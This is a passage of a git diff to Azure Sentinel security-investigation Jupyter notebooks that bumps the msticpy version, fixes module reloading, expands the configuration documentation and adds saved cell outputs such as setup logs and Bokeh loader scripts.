please restart the current kernel and run '\n", - " 'the notebook again skipping this cell.')" + "from IPython.display import display, HTML, Markdown\n", + "\n", + "REQ_PYTHON_VER=(3, 6)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", + "\n", + "display(HTML(\"

Starting Notebook setup...

\"))\n", + "if Path(\"./utils/nb_check.py\").is_file():\n", + " from utils.nb_check import check_python_ver, check_mp_ver\n", + " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", + " try:\n", + " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", + " except ImportError:\n", + " !pip install --upgrade msticpy\n", + " if \"msticpy\" in sys.modules:\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", + " else:\n", + " import msticpy\n", + " check_mp_ver(REQ_PYTHON_VER)\n", + " \n", + "extra_imports = [\n", + " \"msticpy.nbtools, observationlist\",\n", + " \"msticpy.sectools, domain_utils\",\n", + " \"pyvis.network, Network\",\n", + "]\n", + "# If not using Azure Notebooks, install msticpy with\n", + "# !pip install msticpy\n", + "from msticpy.nbtools import nbinit\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " extra_imports=[\"ipwhois, IPWhois\"],\n", + " additional_packages=[\"pyvis\", \"python-whois\"],\n", + ");" ] }, { @@ -162,6 +178,17 @@ "metadata": {}, "source": [ "## Creating your `config.json`\n", + "When you start a notebook from Azure Sentinel for the first time it will create a `config.json` file in\n", + "your notebooks folder. This should be populated with your workspace and tenant IDs needed to \n", + "authenticate to Azure Sentinel.\n", + "\n", + "If you are using notebooks in a different environment you may need to create a `config.json` or `msticpyconfig.yaml` (see below)\n", + "to supply this information to your notebook.\n", + "\n", + "Form more information see this [msticpy Package Configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)\n", + "\n", + "---\n", + "\n", "If you need to create or modify your config.json you can run the following cell.\n", "\n", "You will need the subscription and workspace IDs for your Azure Sentinel Workspace. These can be found here in the Azure Sentinel portal as shown below.\n", @@ -263,27 +290,39 @@ "metadata": {}, "source": [ "## `msticpyconfig.yaml` Configuration File\n", - "Before you can use the msticpy TILookup class you need to configure your TI provider settings.\n", "\n", - "You can configure primary and secondary TI providers and any required parameters in the `msticpyconfig.yaml` file. This file is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", - "For more details on msticpy configuration see the [msticpy documentation](https://msticpy.readthedocs.io/en/latest/msticpyconfig.html).\n", + "`config.json` provides some basic configuration for connecting to your Azure Sentinel workspace. \n", + "However, there are many features that require additional configuration information. Some examples are:\n", + "- Threat Intelligence Provider connection information\n", + "- GeoIP connection information\n", + "- Keyvault configuration for storing secrets remotely\n", + "- MDATP and Azure API connection information.\n", + "- Connection information for multiple Azure Sentinel workspaces.\n", + "\n", + "Settings for these are stored in the `msticpyconfig.yaml` file. This file is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", + "Form more information about *msticpy* configuration see [msticpy Package Configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html).\n", + "\n", + "The most commonly-used sections are described below.\n", + "\n", "\n", "### Threat Intelligence Provider Setup\n", "For more information on the msticpy Threat Intel lookup class see the [documentation here](https://msticpy.readthedocs.io/en/latest/TIProviders.html).\n", "\n", "Primary providers are used by default. Secondary providers are not run by default but can be invoked by using the `providers` parameter to `lookup_ioc()` or `lookup_iocs()`. Set the `Primary` config setting to `True` or `False` for each provider ID according to how you want to use them. The `providers` parameter should be a list of strings identifying the provider(s) to use. \n", "\n", - "The provider ID is given by the `Provider:` setting for each of the TI providers - do not alter this value.\n", - "\n", - "Delete or comment out the section for any TI Providers that you do not wish to use.\n", - "\n", - "For most providers you will usually need to supply an authorization (API) key and in some cases a user ID for each provider.\n", + "- The provider ID is given by the `Provider:` setting for each of the TI providers - do not alter this value.\n", + "- Delete or comment out the section for any TI Providers that you do not wish to use.\n", + "- For most providers you will usually need to supply an authorization (API) key and in some cases a user ID for each provider.\n", + "- For the Azure Sentinel TI provider, you will need the workspace ID and tenant ID and will need to authenticate in order \n", + " to access the data (although if you have an existing authenticated connection with the same workspace/tenant, this connection will be re-used).\n", "\n", - "For the Azure Sentinel TI provider, you will need the workspace ID and tenant ID and will need to authenticate in order to access the data (although if you have an existing authenticated connection with the same workspace/tenant, this connection will be re-used).\n", + "If you need to create a new msticpyconfig.yaml file, run the \"Create a new mstipyconfig.yaml\" cell below.\n", "\n", - "If you need to create a config file, run the \"Create a new mstipyconfig.yaml\" cell below.\n", + "**Warning** - this will overwrite a file of the same name in the current directory\n", "\n", - "**Warning** - this will overwrite a file of the same name in the current directory\n", + "### GeoIP Providers\n", + "Like the TI providers these services normally need an API key to access. You can read more about configuration\n", + "the supported providers here. [msticpy GeoIP Providers](https://msticpy.readthedocs.io/en/latest/data_acquisition/GeoIPLookups.html)\n", "\n", "### Browshot Setup\n", "The functionality to screenshot a URL in msticpy.sectools.domain_utils relies on a service called BrowShot (https://browshot.com/). An API key is required to use this service and it needs to be defined in the `msticpyconfig` file as well. As this is not a threat intelligence provider it doesn't not fall under the `TIProviders` section of `msticpyconfig` but instead sits alone. See the cell below for example configuration." @@ -326,7 +365,7 @@ ">

** WARNING **

\n", "> Executing the following cell will overwrite the contents of the cell to any existing\n", "> `msticpyconfig.yaml`.\n", - ">

Do not run this cell if you have existing configuration settings

" + ">

Do not run this cell if you have existing configuration settings!

" ] }, { @@ -441,10 +480,11 @@ ], "metadata": { "hide_input": false, + "history": [], "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -456,7 +496,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "toc": { "base_numbering": 1, @@ -471,6 +511,7 @@ "toc_section_display": true, "toc_window_display": true }, + "uuid": "75a9aa0a-6ec9-4b1a-a5f0-fc14ed6f8fab", "varInspector": { "cols": { "lenName": 16, @@ -510,4 +551,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Entity Explorer - Account.ipynb b/Entity Explorer - Account.ipynb index f03f79a4..06b81f5a 100644 --- a/Entity Explorer - Account.ipynb +++ b/Entity Explorer - Account.ipynb @@ -33,7 +33,7 @@ }, "source": [ "

Contents

\n", - "
" + "
" ] }, { @@ -99,7 +99,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", @@ -1589,9 +1589,9 @@ "celltoolbar": "Attachments", "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -1603,7 +1603,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1680,4 +1680,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Entity Explorer - Domain & URL.ipynb b/Entity Explorer - Domain & URL.ipynb index eb5a7e6b..1c4e5070 100644 --- a/Entity Explorer - Domain & URL.ipynb +++ b/Entity Explorer - Domain & URL.ipynb @@ -94,7 +94,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -106,7 +106,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", @@ -1338,9 +1338,9 @@ "celltoolbar": "Tags", "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -1352,7 +1352,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.6.10" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1429,4 +1429,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Entity Explorer - IP Address.ipynb b/Entity Explorer - IP Address.ipynb index 76b9ff01..be8d175f 100644 --- a/Entity Explorer - IP Address.ipynb +++ b/Entity Explorer - IP Address.ipynb @@ -117,7 +117,7 @@ "from IPython.display import display, HTML, Markdown\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(0, 6, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", @@ -129,7 +129,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index 43cf6a65..98c32c05 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -98,7 +98,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index 566ea3a2..ac2e9a3f 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -160,7 +160,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", @@ -3341,10 +3341,11 @@ "metadata": { "file_extension": ".py", "hide_input": false, + "history": [], "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python (condadev)", "language": "python", - "name": "python36" + "name": "condadev" }, "language_info": { "codemirror_mode": { @@ -3356,7 +3357,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7-final" + "version": "3.6.7" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -3398,6 +3399,7 @@ "toc_section_display": true, "toc_window_display": true }, + "uuid": "752d7f6a-d842-43cc-b46d-4d9e9a2c1160", "varInspector": { "cols": { "lenName": 16, @@ -3437,548 +3439,7 @@ "version": 3, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": { - "03145db1ae8446bfbb7bc2db8afad43f": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "07b081645234453984f32fabf1b874ea": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "SelectModel", - "state": { - "_options_labels": [ - "2019-02-12 11:48:01 - Security incident with shared process detected - (MSTICAlertsWin1) - [id:2518523287189999999_1f19db0b-3d5b-4f7b-b91f-5e994ba4bde5]", - "2019-02-14 11:51:38 - Security incident detected - (MSTICAlertsWin1) - [id:2518521557015111330_79f27254-e85f-4471-a061-3ea99b824495]", - "2019-02-14 11:51:38 - Suspicious system process executed - (MSTICAlertsWin1) - [id:2518521557015111330_65a3fe73-0832-427a-aab3-06edc2c27f0a]", - "2019-02-14 11:51:38 - Potential attempt to bypass AppLocker detected - (MSTICAlertsWin1) - [id:2518521557014927413_daa18e53-ab1d-4d7d-8c4f-bcb86f75fd5f]", - "2019-02-15 19:55:10 - Suspicious Activity Detected - (MSTICAlertsWin1) - [id:2518520402897969999_b946cd89-667e-4ce7-b571-9603859a7234]" - ], - "description": "Select alert :", - "index": 2, - "layout": "IPY_MODEL_2fa3c87c2462471cbbd7788d52048af6", - "style": "IPY_MODEL_7058ddbe2f4b41c8bd1a849bb6956ef7" - } - }, - "096756940a7b46088d9086be9c4d0b64": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "0afe9c3e37af45eaa8fe08273fafb273": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "95%" - } - }, - "10e952fdf68d47df99471b9fbd3c8b63": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "" - } - }, - "137f8b33f8e74b2ca563cd194637f497": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": { - "width": "50%" - } - }, - "13bb24a16f19435daa5c97758ad0c874": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "18d27a30c2dc40bf8d694f095f3a8f79": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "1956fa2b7b394e5fa9e9e0d3bf71f231": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - }, - "19925828670341f5ba2665d941db12ce": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "HTMLModel", - "state": { - "layout": "IPY_MODEL_e4ff9b3cb1fb4ae9a61ecce3517ccd22", - "style": "IPY_MODEL_10e952fdf68d47df99471b9fbd3c8b63", - "value": "

Set query time boundaries

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Set query time boundaries

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"model_name": "DescriptionStyleModel", - "state": { - "description_width": "initial" - } - } - }, + "state": {}, "version_major": 2, "version_minor": 0 } @@ -3986,4 +3447,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} \ No newline at end of file +} diff --git a/Getting Started with Azure Sentinel Notebooks.ipynb b/Getting Started with Azure Sentinel Notebooks.ipynb index f27d5d12..368565ec 100644 --- a/Getting Started with Azure Sentinel Notebooks.ipynb +++ b/Getting Started with Azure Sentinel Notebooks.ipynb @@ -157,7 +157,7 @@ " except ImportError:\n", " !pip install --user --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(MSTICPY_REQ_VERSION)\n", diff --git a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb index 0460b74a..82b97f4b 100644 --- a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb +++ b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb @@ -102,7 +102,7 @@ " except ImportError:\n", " !pip install --user --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(MSTICPY_REQ_VERSION)\n", diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index e2a51290..07e61769 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -116,7 +116,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", diff --git a/Guided Investigation - MDATP Webshell Alerts.ipynb b/Guided Investigation - MDATP Webshell Alerts.ipynb index 74c9dbe4..dbfb906e 100644 --- a/Guided Investigation - MDATP Webshell Alerts.ipynb +++ b/Guided Investigation - MDATP Webshell Alerts.ipynb @@ -87,7 +87,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", diff --git a/Guided Investigation - Process-Alerts.ipynb b/Guided Investigation - Process-Alerts.ipynb index 9e2c0e19..5745da24 100644 --- a/Guided Investigation - Process-Alerts.ipynb +++ b/Guided Investigation - Process-Alerts.ipynb @@ -72,14 +72,105 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 1, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:10:54.830029Z", "start_time": "2020-05-16T02:10:50.255047Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Starting Notebook setup...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking Python kernel version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Python kernel version 3.6.10 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking msticpy version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "msticpy version 0.6.0 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Processing imports....\n", + "Checking configuration....\n", + "\n", + "The following configuration errors were found: \n", + " -----------------------------------------------\n", + "TIProviders/AzureSentinel: Missing or invalid WorkspaceID.\n", + "TIProviders/AzureSentinel: Missing or invalid TenantID.\n", + "\n", + "The following configuration warnings were found: \n", + " -------------------------------------------------\n", + "No AzureCLI section in settings.\n", + "Setting options....\n" + ] + }, + { + "data": { + "text/html": [ + "

Notebook setup failed

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "from pathlib import Path\n", "import os\n", @@ -100,7 +191,7 @@ " except ImportError:\n", " !pip install --upgrade msticpy\n", " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", + " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", " import msticpy\n", " check_mp_ver(REQ_PYTHON_VER)\n", @@ -144,7 +235,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 2, "metadata": {}, "outputs": [], "source": [ @@ -154,14 +245,177 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 2, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:11:20.062429Z", "start_time": "2020-05-16T02:10:57.597153Z" } }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Please wait. Loading Kqlmagic extension...\n" + ] + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.reconnect();} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " \n", + "
\n", + " \n", + " \n", + "
\n", + "\n", + " \n", + "\n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# Authentication\n", "ws_config = WorkspaceConfig()\n", @@ -182,14 +436,57 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 3, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:11:21.408605Z", "start_time": "2020-05-16T02:11:21.347607Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "05994b56b69e41bfb51004e49ea18f2b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "9a083f546d65423a94341112bd82f69b", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2020, 6, 25), description='Origin Date'), Text(value='16:54:35.9…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "a891f7840e6d4259b2a0dd43b5ad8e18", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-24, 1), description='Time Range (hour):', layout=Layout(width='80%'), ma…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "alert_q_times = nbwidgets.QueryTime(\n", " units='hour', max_before=72, max_after=1, before=24\n", @@ -199,14 +496,553 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 4, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:14:07.827669Z", "start_time": "2020-05-16T02:14:02.907988Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "5 distinct alert types\n", + "315 distinct alerts\n" + ] + }, + { + "data": { + "text/html": [ + "\n", + "
\n", + " \n", + " Loading BokehJS ...\n", + "
" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "\n", + "(function(root) {\n", + " function now() {\n", + " return new Date();\n", + " }\n", + "\n", + " var force = true;\n", + "\n", + " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", + " root._bokeh_onload_callbacks = [];\n", + " root._bokeh_is_loading = undefined;\n", + " }\n", + "\n", + " var JS_MIME_TYPE = 'application/javascript';\n", + " var HTML_MIME_TYPE = 'text/html';\n", + " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", + " var CLASS_NAME = 'output_bokeh rendered_html';\n", + "\n", + " /**\n", + " * Render data to the DOM node\n", + " */\n", + " function render(props, node) {\n", + " var script = document.createElement(\"script\");\n", + " node.appendChild(script);\n", + " }\n", + "\n", + " /**\n", + " * Handle when an output is cleared or removed\n", + " */\n", + " function handleClearOutput(event, handle) {\n", + " var cell = handle.cell;\n", + "\n", + " var id = cell.output_area._bokeh_element_id;\n", + " var server_id = cell.output_area._bokeh_server_id;\n", + " // Clean up Bokeh references\n", + " if (id != null && id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + "\n", + " if (server_id !== undefined) {\n", + " // Clean up Bokeh references\n", + " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", + " cell.notebook.kernel.execute(cmd, {\n", + " iopub: {\n", + " output: function(msg) {\n", + " var id = msg.content.text.trim();\n", + " if (id in Bokeh.index) {\n", + " Bokeh.index[id].model.document.clear();\n", + " delete Bokeh.index[id];\n", + " }\n", + " }\n", + " }\n", + " });\n", + " // Destroy server and session\n", + " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", + " cell.notebook.kernel.execute(cmd);\n", + " }\n", + " }\n", + "\n", + " /**\n", + " * Handle when a new output is added\n", + " */\n", + " function handleAddOutput(event, handle) {\n", + " var output_area = handle.output_area;\n", + " var output = handle.output;\n", + "\n", + " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", + " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", + " return\n", + " }\n", + "\n", + " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", + "\n", + " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", + " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", + " // store reference to embed id on output_area\n", + " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", + " }\n", + " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", + " var bk_div = document.createElement(\"div\");\n", + " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", + " var script_attrs = bk_div.children[0].attributes;\n", + " for (var i = 0; i < script_attrs.length; i++) {\n", + " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", + " toinsert[toinsert.length - 1].firstChild.textContent = bk_div.children[0].textContent\n", + " }\n", + " // store reference to server id on output_area\n", + " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", + " }\n", + " }\n", + "\n", + " function register_renderer(events, OutputArea) {\n", + "\n", + " function append_mime(data, metadata, element) {\n", + " // create a DOM node to render to\n", + " var toinsert = this.create_output_subarea(\n", + " metadata,\n", + " CLASS_NAME,\n", + " EXEC_MIME_TYPE\n", + " );\n", + " this.keyboard_manager.register_events(toinsert);\n", + " // Render to node\n", + " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", + " render(props, toinsert[toinsert.length - 1]);\n", + " element.append(toinsert);\n", + " return toinsert\n", + " }\n", + "\n", + " /* Handle when an output is cleared or removed */\n", + " events.on('clear_output.CodeCell', handleClearOutput);\n", + " events.on('delete.Cell', handleClearOutput);\n", + "\n", + " /* Handle when a new output is added */\n", + " events.on('output_added.OutputArea', handleAddOutput);\n", + "\n", + " /**\n", + " * Register the mime type and append_mime function with output_area\n", + " */\n", + " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", + " /* Is output safe? */\n", + " safe: true,\n", + " /* Index of renderer in `output_area.display_order` */\n", + " index: 0\n", + " });\n", + " }\n", + "\n", + " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", + " if (root.Jupyter !== undefined) {\n", + " var events = require('base/js/events');\n", + " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", + "\n", + " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", + " register_renderer(events, OutputArea);\n", + " }\n", + " }\n", + "\n", + " \n", + " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", + " root._bokeh_timeout = Date.now() + 5000;\n", + " root._bokeh_failed_load = false;\n", + " }\n", + "\n", + " var NB_LOAD_WARNING = {'data': {'text/html':\n", + " \"
\\n\"+\n", + " \"

\\n\"+\n", + " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", + " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", + " \"

\\n\"+\n", + " \"
    \\n\"+\n", + " \"
  • re-rerun `output_notebook()` to attempt to load from CDN again, or
    • \\n\"+\n", + " \"
  • use INLINE resources instead, as so:
    • \\n\"+\n", + " \"
\\n\"+\n", + " \"\\n\"+\n", + " \"from bokeh.resources import INLINE\\n\"+\n", + " \"output_notebook(resources=INLINE)\\n\"+\n", + " \"\\n\"+\n", + " \"
